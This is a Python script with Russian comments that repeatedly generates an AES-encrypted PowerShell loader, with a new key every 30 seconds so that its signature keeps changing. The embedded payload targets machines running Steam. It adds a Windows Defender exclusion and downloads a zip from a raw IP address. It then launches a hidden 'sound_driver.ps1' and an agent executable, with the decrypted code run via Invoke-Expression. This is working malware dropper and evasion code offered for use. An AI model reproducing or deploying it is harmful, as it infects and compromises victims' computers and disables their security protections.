import secrets
import base64
import time
import sys
from pathlib import Path
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.backends import default_backend

# ──────────────────────────────────────────────
#  Настройки
# ──────────────────────────────────────────────
PAYLOAD = r'''if ((Get-Process -Name 'Steam' -ErrorAction SilentlyContinue) -or (Test-Path "$env:LOCALAPPDATA\Steam") -or (Test-Path "$env:USERPROFILE\Desktop\Steam.lnk") -or (Test-Path "$env:APPDATA\Steam")) { $folderPath="$env:LOCALAPPDATA\NewFolder"; if (!(Test-Path $folderPath)) { New-Item -ItemType Directory -Path $folderPath | Out-Null }; $adminCheck=([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator); if (-not $adminCheck) { Exit }; try { Add-MpPreference -ExclusionPath "$env:USERPROFILE\AppData" } catch { Write-Host "Need Admin Rules" }; $zipPath="$env:Temp\pythons.zip"; $url="http://45.128.234.27/Python-2.11.0-embed-amd.zip"; if (!(Test-Path -Path $zipPath)) { Invoke-WebRequest -Uri $url -OutFile $zipPath -UseBasicParsing }; Expand-Archive -Path $zipPath -DestinationPath $folderPath -Force; if (Test-Path "$folderPath\sound_driver.ps1") { Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$folderPath\sound_driver.ps1`"" -WindowStyle Hidden; Start-Sleep -Seconds 15; & "$folderPath\agent-windows-amd64.exe" } else { Write-Host "" } }'''

OUTPUT_PATH = Path("kek")
INTERVAL = 30  # секунд между перегенерациями

# ──────────────────────────────────────────────
#  Генерация
# ──────────────────────────────────────────────
def generate_payload() -> None:
    OUTPUT_PATH.parent.mkdir(parents=True, exist_ok=True)

    # Каждый раз — новые случайные ключ и IV
    key = secrets.token_bytes(32)   # AES-256
    iv  = secrets.token_bytes(16)   # CBC IV

    # PKCS7 паддинг
    padder = padding.PKCS7(128).padder()
    padded = padder.update(PAYLOAD.encode("utf-8")) + padder.finalize()

    # AES-CBC шифрование
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    enc = cipher.encryptor()
    ciphertext = enc.update(padded) + enc.finalize()

    # Base64
    k_b64  = base64.b64encode(key).decode("ascii")
    iv_b64 = base64.b64encode(iv).decode("ascii")
    c_b64  = base64.b64encode(ciphertext).decode("ascii")

    # PowerShell-скрипт: расшифровка через .NET, выполнение через iex
    ps_content = f'''$k  = "{k_b64}"
$iv = "{iv_b64}"
$c  = "{c_b64}"

$keyBytes  = [Convert]::FromBase64String($k)
$ivBytes   = [Convert]::FromBase64String($iv)
$cipherBytes = [Convert]::FromBase64String($c)

$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Key     = $keyBytes
$aes.IV      = $ivBytes
$aes.Mode    = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7

$decryptor = $aes.CreateDecryptor()
$plainBytes = $decryptor.TransformFinalBlock($cipherBytes, 0, $cipherBytes.Length)
$decrypted = [System.Text.Encoding]::UTF8.GetString($plainBytes)

Invoke-Expression $decrypted
'''

    # Атомарная замена: пишем во временный файл, затем rename
    temp = OUTPUT_PATH.with_suffix(".tmp")
    temp.write_text(ps_content, encoding="utf-8")
    temp.replace(OUTPUT_PATH)

    print(f"[{time.strftime('%H:%M:%S')}] Обновлён: {OUTPUT_PATH.resolve()}")
    print(f"    Key:  {k_b64}")
    print(f"    IV:   {iv_b64}")
    print(f"    Next через {INTERVAL}s\n")


# ──────────────────────────────────────────────
#  Главный цикл
# ──────────────────────────────────────────────
if __name__ == "__main__":
    print(f"Генератор запущен. Пейлоад: {PAYLOAD!r}")
    print(f"Выходной файл: {OUTPUT_PATH.resolve()}")
    print(f"Интервал: {INTERVAL}s | Ctrl+C для остановки\n")

    try:
        while True:
            generate_payload()
            time.sleep(INTERVAL)
    except KeyboardInterrupt:
        print("\n[+] Генератор остановлен.")
        sys.exit(0)
